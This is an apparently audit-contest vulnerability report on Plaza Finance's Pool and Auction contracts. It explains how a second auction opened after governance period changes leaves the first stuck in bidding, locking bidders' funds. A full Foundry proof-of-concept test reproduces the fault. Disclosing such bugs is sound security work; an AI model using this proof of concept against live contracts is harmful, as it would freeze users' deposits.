Plain Daffodil Dove

High

# Multiple open `Auctions` lead to Auction `locked in bidding state` and cause users to `lose money`

### Summary

Beyond the `BondToken::currentPeriod` incrementing issue, there is an even more problematic situation caused by the `startAuction` function. Within a specific order of actions happening, it can lead to `Auction` being locked in the `bidding` state, blocking users from `claim` and `refund`.

### Root Cause

Even working as expected, the `currentPeriod` will always account for the most recent `Auction` created. This means, that if two are opened, the bids for the first one will be blocked in an inconsistent `Auction` state.
https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L578
Revert: https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L580

### Internal Pre-conditions

1. `GOV_ROLE` decrease `durationPeriod` to attend new goals.
2. `GOV_ROLE` increases `auctionPeriod` to provide more time to bidders.

### External Pre-conditions

Requires one user malicious or not, to call `startAuction` during the window mentioned above.

### Attack Path

1. A `Pool` is created and the users start depositing reserve tokens in it: 
2. After the `distribution` time passed, a person executes the `Auction::startAuction` function.
    - An Auction is started, the `BondToken::currentPeriod` variable is updated
    - https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L530
    - The information is provided for the `Auction` contract to be deployed and initialized.
    - `Pool::lastDistribution` is updated: https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L567
3. Considering a `distributionPeriod` of 3 months and the `Auction` period of `10 days`. It may be impossible to create new `Auctions` while the first is ongoing. However, the `distributionPeriod` can be updated without constraints in the `setDistribution` because the `notInAuction` modifier accounts for the `future` `BondToken::currentPeriod` variable.
   - https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L750-L754
5. As so, as stated by the team. The `Auction::endTime` can be updated by the `GOV_ROLE`. Which means, they can reach dangerous thresholds.
6. Even though the `GOV_ROLE` never updates the time during an active `Auction`, it can happen during the inactive time and offer risk to the `Auctions` created after it.
7. So, a user calls `startAuction` again, which will check for a non-utilized `currentPeriod` and a second `Auction` is created blocking the first one completely.
   - https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L538-L539
8. After the `auctionPeriod` for the first Auction ends, calls `endAuction`: https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L336-L350
9. `endAuction` calls `transferReserveTokensToAuction`: https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L578
10. Call Reverted because the `msg.sender` will not be the correct `Auction`: https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L580

It requires a specific window but is feasible and easily doable, even by mistake. Besides blocking the money, it would also block the `Pool::distribute` function from being called.

### Impact

Users who bid on the first Auction will have their assets sized because the `Auction` will be blocked in the `bidding` state, not being able to `claimRefund` or `claimBids`.

### PoC

Forked Helper

<details>

```solidity

//SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import { Test, console } from "forge-std/Test.sol";

///Protocol Contracts
import { Auction } from "../../src/Auction.sol";
import { BalancerOracleAdapter } from "../../src/BalancerOracleAdapter.sol";
import { BalancerRouter } from "../../src/BalancerRouter.sol";
import { BondOracleAdapter } from "../../src/BondOracleAdapter.sol";
import { BondToken } from "../../src/BondToken.sol";
import { Deployer } from "../../src/utils/Deployer.sol";
import { Distributor } from "../../src/Distributor.sol";
import { LeverageToken } from "../../src/LeverageToken.sol";
import { OracleFeeds } from "../../src/OracleFeeds.sol";
import { OracleReader } from "../../src/OracleReader.sol";
import { Pool } from "../../src/Pool.sol";
import { PoolFactory } from "../../src/PoolFactory.sol";
import { PreDeposit } from "../../src/PreDeposit.sol";

///OpenZeppelin Contracts
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { UpgradeableBeacon } from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import { BeaconProxy } from "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IWETH {
    function deposit() external payable;
}

contract Helper is Test {
    //Fork Variables
    uint256 s_baseFork;
    string BASE_RPC = vm.envString("BASE_RPC");

    //Protocol Tokens
    IERC20 constant wETH = IERC20(0x4200000000000000000000000000000000000006);
    IERC20 constant USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
    address constant CL_ETH_PRICE_FEED = 0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70;
    address constant BALANCER_VAULT = address(0x0);
    address constant BALANCER_POOL_TOKENS = address(0x0);

    //DUMMY DEPLOYER
    PoolFactory s_dummyFactory;
    Auction s_dummyAuction;
    PreDeposit s_dummyPre;
    BondToken s_dummyBond;
    LeverageToken s_dummyLev;
    Pool s_dummyPool;
    Distributor s_dummyDistributor;

    //Protocol Contracts
    Auction s_auction;
    BalancerOracleAdapter s_balancerOracle;
    BalancerRouter s_balancerRouter;
    BondOracleAdapter s_bondAdapter;
    BondToken s_bond;
    Deployer s_deployer;
    Distributor s_distributor;
    LeverageToken s_lev;
    OracleFeeds s_feeds;
    OracleReader s_reader;
    Pool s_pool;
    PoolFactory s_factory;
    PreDeposit s_pre;

    //Protocol Base Proxy Contracts
    ERC1967Proxy s_factoryProxy;
    ERC1967Proxy s_auctionProxy;
    ERC1967Proxy s_preProxy;
    UpgradeableBeacon s_poolProxy;
    UpgradeableBeacon s_bondProxy;
    UpgradeableBeacon s_levProxy;
    UpgradeableBeacon s_distributorProxy;

    //Wrappers
    PoolFactory s_factoryWrapper;
    Auction s_auctionWrapper;
    PreDeposit s_preWrapper;
    Pool s_poolWrapper;
    BondToken s_bondWrapper;
    LeverageToken s_levWrapper;

    //Types
    Pool.TokenType types;

    //Fake Roles Variables
    address s_governanceRole = makeAddr("GOV_ROLE");
    address s_minterRole = makeAddr("MINTER_ROLE");
    address s_securityRole = makeAddr("SECURITY_COUNCIL_ROLE");
    address s_poolRole = makeAddr("POOL_ROLE");

    //Actors
    address s_coinbase = address(0x739120AdE7ED878FcA5bbDB806263a8258FE2360);
    address s_owner = makeAddr("s_owner");
    address s_beneficiary = makeAddr("s_beneficiary");
    address s_user01 = makeAddr("s_user01");
    address s_user02 = makeAddr("s_user02");
    address s_user03 = makeAddr("s_user03");

    //Utils
    uint256 constant USDC_INITIAL_AMOUNT = 100_000*10**6;
    uint256 constant WETH_INITIAL_AMOUNT = 100*10**18;
    uint256 constant RESERVE_INITIAL_AMOUNT = 10*10**18;
    uint256 constant BOND_AMOUNT = 10*10**18;
    uint256 constant LEV_AMOUNT = 10*10**18;

    ///Events
    event AuctionEnded(Auction.State state, uint256 totalSellReserveAmount, uint256 totalBuyCouponAmount);


    function setUp() public {
        //Start Fork
        s_baseFork = vm.createFork(BASE_RPC);
        vm.selectFork(s_baseFork);

        //DUMMY DEPLOYER
        s_dummyFactory = new PoolFactory();
        s_dummyAuction = new Auction();
        s_dummyPre = new PreDeposit();
        s_dummyBond = new BondToken();
        s_dummyLev = new LeverageToken();
        s_dummyDistributor = new Distributor();
        s_dummyPool = new Pool();

        //Deploy Proxies
        s_factoryProxy = new ERC1967Proxy(address(s_dummyFactory), bytes(""));
        s_auctionProxy = new ERC1967Proxy(address(s_dummyAuction), bytes(""));
        s_preProxy = new ERC1967Proxy(address(s_dummyPre), bytes(""));
        s_bondProxy = new UpgradeableBeacon(address(s_dummyBond), s_owner);
        s_levProxy = new UpgradeableBeacon(address(s_dummyLev), s_owner);
        s_poolProxy = new UpgradeableBeacon(address(s_dummyPool), s_owner);
        s_distributorProxy = new UpgradeableBeacon(address(s_dummyDistributor), s_owner);

        //Wrap Proxies with Implementations
        s_factoryWrapper = PoolFactory(address(s_factoryProxy));
        s_auctionWrapper = Auction(address(s_auctionProxy));
        s_preWrapper = PreDeposit(address(s_preProxy));
        s_poolWrapper = Pool(address(s_poolProxy));

        //Deploy Contracts
        //1.
        s_deployer = new Deployer();
        //2.
        vm.startPrank(s_governanceRole); //Oracle Feeds
            s_feeds = new OracleFeeds();
            s_feeds.setPriceFeed(
                address(wETH),
                address(0), //Following Docs, it means == USD
                CL_ETH_PRICE_FEED,
                86400
            );
        vm.stopPrank();
        //3.
        s_pool = new Pool();
        //4.
        s_factory = new PoolFactory();
        //5.
        s_distributor = new Distributor();
        //6.
        vm.startPrank(s_governanceRole); //Init & Upgrade Factory
            s_factoryWrapper.initialize(
                s_governanceRole,
                address(s_deployer),
                address(s_feeds),
                address(s_poolProxy),
                address(s_bondProxy),
                address(s_levProxy),
                address(s_distributorProxy)
            );
            //7.
            s_factoryWrapper.upgradeToAndCall(address(s_factory), bytes(""));
        vm.stopPrank();
        
        //Deployed by Factory
        // - deployer
        // - s_bond
        // - s_lev
        // - distributor

        //Deployed by Pool
        // - s_auction;
        s_balancerOracle = new BalancerOracleAdapter();
        s_balancerRouter = new BalancerRouter(
            BALANCER_VAULT,
            BALANCER_POOL_TOKENS
        );
        s_bondAdapter = new BondOracleAdapter();
        s_reader = new OracleReader();
        s_pre = new PreDeposit();

        vm.startPrank(address(s_coinbase));
        USDC.transfer(s_user01, USDC_INITIAL_AMOUNT);
        USDC.transfer(s_user02, USDC_INITIAL_AMOUNT);
        USDC.transfer(s_user03, USDC_INITIAL_AMOUNT);
        vm.stopPrank();

        console.log(wETH.balanceOf(address(wETH)));

        vm.deal(s_governanceRole, WETH_INITIAL_AMOUNT);
        vm.deal(s_user01, WETH_INITIAL_AMOUNT);
        vm.deal(s_user02, WETH_INITIAL_AMOUNT);
        vm.deal(s_user03, WETH_INITIAL_AMOUNT);

        vm.prank(s_governanceRole);
        IWETH(address(wETH)).deposit{value: WETH_INITIAL_AMOUNT}();
        vm.prank(s_user01);
        IWETH(address(wETH)).deposit{value: WETH_INITIAL_AMOUNT}();
        vm.prank(s_user02);
        IWETH(address(wETH)).deposit{value: WETH_INITIAL_AMOUNT}();
        vm.prank(s_user03);
        IWETH(address(wETH)).deposit{value: WETH_INITIAL_AMOUNT}();

        vm.startPrank(s_governanceRole);
        s_factoryWrapper.grantRole(s_factory.POOL_ROLE(), s_governanceRole);
        vm.stopPrank();

        //Create the pool
        helper_createPool();

        //Upgrade Proxy
        vm.prank(s_owner);
        s_poolProxy.upgradeTo(address(s_pool));
    }

    function helper_createPool() public {
        PoolFactory.PoolParams memory params = PoolFactory.PoolParams({
            fee: 100000,
            reserveToken: address(wETH),
            couponToken: address(USDC),
            distributionPeriod: 1 days,
            sharesPerToken: 10*10**6, //Shares have 10**6 decimals
            feeBeneficiary: s_beneficiary
        });

        vm.startPrank(s_governanceRole);
        //1.
        wETH.approve(address(s_factoryWrapper), WETH_INITIAL_AMOUNT);
        //2.
        s_poolWrapper = Pool(s_factoryWrapper.createPool(
            params,
            RESERVE_INITIAL_AMOUNT,
            BOND_AMOUNT,
            LEV_AMOUNT,
            "BondToken",
            "BTN",
            "LeverageToken",
            "LEVT",
            false
        ));

        s_poolWrapper.setAuctionPeriod(15 days);

        vm.stopPrank();

        s_bondWrapper = BondToken(address(s_poolWrapper.bondToken()));
        s_levWrapper = LeverageToken(address(s_poolWrapper.lToken()));
    }

    function helper_getOracleAnswer() public returns(uint256 oracleAnswer_){
        oracleAnswer_ = s_poolWrapper.getOraclePrice(address(wETH), address(0)) * (10**10);
    }

    function helper_userDeposit(address _user) public returns(uint256 _amountMinted){
        uint256 amountToDeposit = 10*10**18;

        vm.startPrank(_user);
        wETH.approve(address(s_poolWrapper), amountToDeposit);
        _amountMinted = s_poolWrapper.create(
            Pool.TokenType.BOND, 
            amountToDeposit,
            0
        );
        vm.stopPrank();
    }

    function helper_userBids(
        address _user, 
        Auction _auction, 
        uint256 _firstBuyReserveAmount,
        uint256 _firstBidAmount
    ) public {

        vm.startPrank(_user);
        USDC.approve(address(_auction), _firstBidAmount);
        _auction.bid(_firstBuyReserveAmount, _firstBidAmount);
        vm.stopPrank();
    }

    function helper_userClaims(
        address _user,
        Auction _auction,
        uint256 _bidId
    ) public {
        vm.startPrank(_user);
        _auction.claimBid(_bidId);
        vm.stopPrank();
    }
}

```


</details>

PoC

<details>

```solidity

//SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import { Helper } from "./Helper.t.sol";

import { Pool } from "../../src/Pool.sol";
import { Auction } from "../../src/Auction.sol";

import { console } from "forge-std/Console.sol";

contract PoCs is Helper {

  function test_manipulatedAuctionsAndBlockEndingFromFirstOne() public {
        uint256 currentPeriod;

        //Users deposing
        helper_userDeposit(s_user01);
        helper_userDeposit(s_user02);
        helper_userDeposit(s_user03);

        //Time advance and now is possible to start an auction
        vm.warp(block.timestamp + 1 days +1 );
        
        //Auction is started as expected
        s_poolWrapper.startAuction();
        (currentPeriod, ) = s_bondWrapper.globalPool();
        Auction firstAuction = Auction(s_poolWrapper.auctions(currentPeriod - 1));
        
        //Governance Change info for some reason
        vm.prank(s_governanceRole);
        s_poolWrapper.setAuctionPeriod(10 days);

        //Time advance and now is possible to start a second auction
        vm.warp(block.timestamp + 1 days +1 );

        //An second Auction is stated. But this one has 10 days, for some reason
        s_poolWrapper.startAuction();
        (currentPeriod, ) = s_bondWrapper.globalPool();
        Auction secondAuction = Auction(s_poolWrapper.auctions(currentPeriod - 1));
        
        /*//////////////////////////////////////////////////////////////////////////////
                                BIDING STARTS - FIRST AUCTION
        //////////////////////////////////////////////////////////////////////////////*/
        uint256 firstBuyReserveAmount = 2*10**18;
        uint256 firstBidAmount = 4000*10**6;
        address bidder;
        uint256 reserveAmount;
        uint256 sellCouponAmount;

        console.log("User01 Bids");
        helper_userBids(s_user01, firstAuction, firstBuyReserveAmount, firstBidAmount);
        (bidder,reserveAmount,sellCouponAmount,,,) = firstAuction.bids(1);
        assertEq(USDC.balanceOf(s_user01), USDC_INITIAL_AMOUNT - firstBidAmount);
        assertEq(bidder, s_user01);

        console.log("User02 Bids");
        helper_userBids(s_user02, firstAuction, firstBuyReserveAmount, firstBidAmount);
        (bidder,reserveAmount,sellCouponAmount,,,) = firstAuction.bids(2);
        assertEq(USDC.balanceOf(s_user02), USDC_INITIAL_AMOUNT - firstBidAmount);
        assertEq(bidder, s_user02);

        console.log("User03 Bids");
        helper_userBids(s_user03, firstAuction, firstBuyReserveAmount, firstBidAmount);
        (bidder,reserveAmount,sellCouponAmount,,,) = firstAuction.bids(3);
        assertTrue(USDC.balanceOf(s_user03) < USDC_INITIAL_AMOUNT);
        assertEq(bidder, s_user03);

        //Check if storage is correctly updated when an big is reduced
        assertTrue(reserveAmount < firstBuyReserveAmount);
        console.log(reserveAmount);
        assertTrue(sellCouponAmount < firstBidAmount);
        console.log(sellCouponAmount);

        /*//////////////////////////////////////////////////////////////////////////////
                                BIDING STARTS - SECOND AUCTION
        //////////////////////////////////////////////////////////////////////////////*/
        console.log("User01 Bids");
        helper_userBids(s_user01, secondAuction, firstBuyReserveAmount, firstBidAmount);
        (bidder,reserveAmount,sellCouponAmount,,,) = secondAuction.bids(1);
        assertEq(USDC.balanceOf(s_user01), USDC_INITIAL_AMOUNT - (firstBidAmount *2));
        assertEq(bidder, s_user01);

        console.log("User02 Bids");
        helper_userBids(s_user02, secondAuction, firstBuyReserveAmount, firstBidAmount);
        (bidder,reserveAmount,sellCouponAmount,,,) = secondAuction.bids(2);
        assertEq(USDC.balanceOf(s_user02), USDC_INITIAL_AMOUNT - (firstBidAmount *2));
        assertEq(bidder, s_user02);

        console.log("User03 Bids");
        helper_userBids(s_user03, secondAuction, firstBuyReserveAmount, firstBidAmount);
        (bidder,reserveAmount,sellCouponAmount,,,) = secondAuction.bids(3);
        assertTrue(USDC.balanceOf(s_user03) < USDC_INITIAL_AMOUNT - firstBidAmount);
        assertEq(bidder, s_user03);

        //Check if storage is correctly updated when an big is reduced
        assertTrue(reserveAmount < firstBuyReserveAmount);
        console.log(reserveAmount);
        assertTrue(sellCouponAmount < firstBidAmount);
        console.log(sellCouponAmount);

        /*//////////////////////////////////////////////////////////////////////////////
                                SECOND AUCTION - ENDS FIRST
        //////////////////////////////////////////////////////////////////////////////*/
        vm.warp(block.timestamp + 10 days);
        uint256 totalSellReserveAmount = secondAuction.totalSellReserveAmount();
        uint256 totalBuyCouponAmount = secondAuction.totalBuyCouponAmount();
        vm.expectEmit();
        emit AuctionEnded(Auction.State(1), totalSellReserveAmount, totalBuyCouponAmount);
        secondAuction.endAuction();

        /*//////////////////////////////////////////////////////////////////////////////
                            SECOND AUCTION - USERS STARTS CLAIMING
        //////////////////////////////////////////////////////////////////////////////*/
        uint256 user01Balance = wETH.balanceOf(s_user01);
        uint256 user02Balance = wETH.balanceOf(s_user01);
        uint256 user03Balance = wETH.balanceOf(s_user01);

        helper_userClaims(s_user01, secondAuction, 1);
        assertTrue(wETH.balanceOf(s_user01) > user01Balance);
        helper_userClaims(s_user02, secondAuction, 2);
        assertTrue(wETH.balanceOf(s_user02) > user02Balance);
        helper_userClaims(s_user03, secondAuction, 3);
        assertTrue(wETH.balanceOf(s_user03) > user03Balance);

        /*//////////////////////////////////////////////////////////////////////////////
                                FIRST AUCTION - ENDS AFTER
        //////////////////////////////////////////////////////////////////////////////*/
        vm.warp(block.timestamp + 5 days);
        uint256 totalSellReserveAmountFirstAuction = firstAuction.totalSellReserveAmount();
        uint256 totalBuyCouponAmountFirstAuction = firstAuction.totalBuyCouponAmount();
        //Fails to end because a new Auction started later
        vm.expectRevert();
        firstAuction.endAuction();

        /*//////////////////////////////////////////////////////////////////////////////
                            FIRST AUCTION - USERS START TO GET REFUND
        //////////////////////////////////////////////////////////////////////////////*/
        vm.prank(s_user01);
        vm.expectRevert(abi.encodeWithSelector(Auction.AuctionFailed.selector));
        firstAuction.claimRefund(1);
    }
}

```


</details>

### Mitigation

- **Recomendations**
1. Update the `NotInAuction` modifier to account for the correct `Auction::currentPeriod`.
2. Add checks for inputs on `Pool::setDistributionPeriod` and `Pool::setAuctionPeriod`, to not allow updates that can lead to a creation of multiple `Auctions` with inconsistent state.
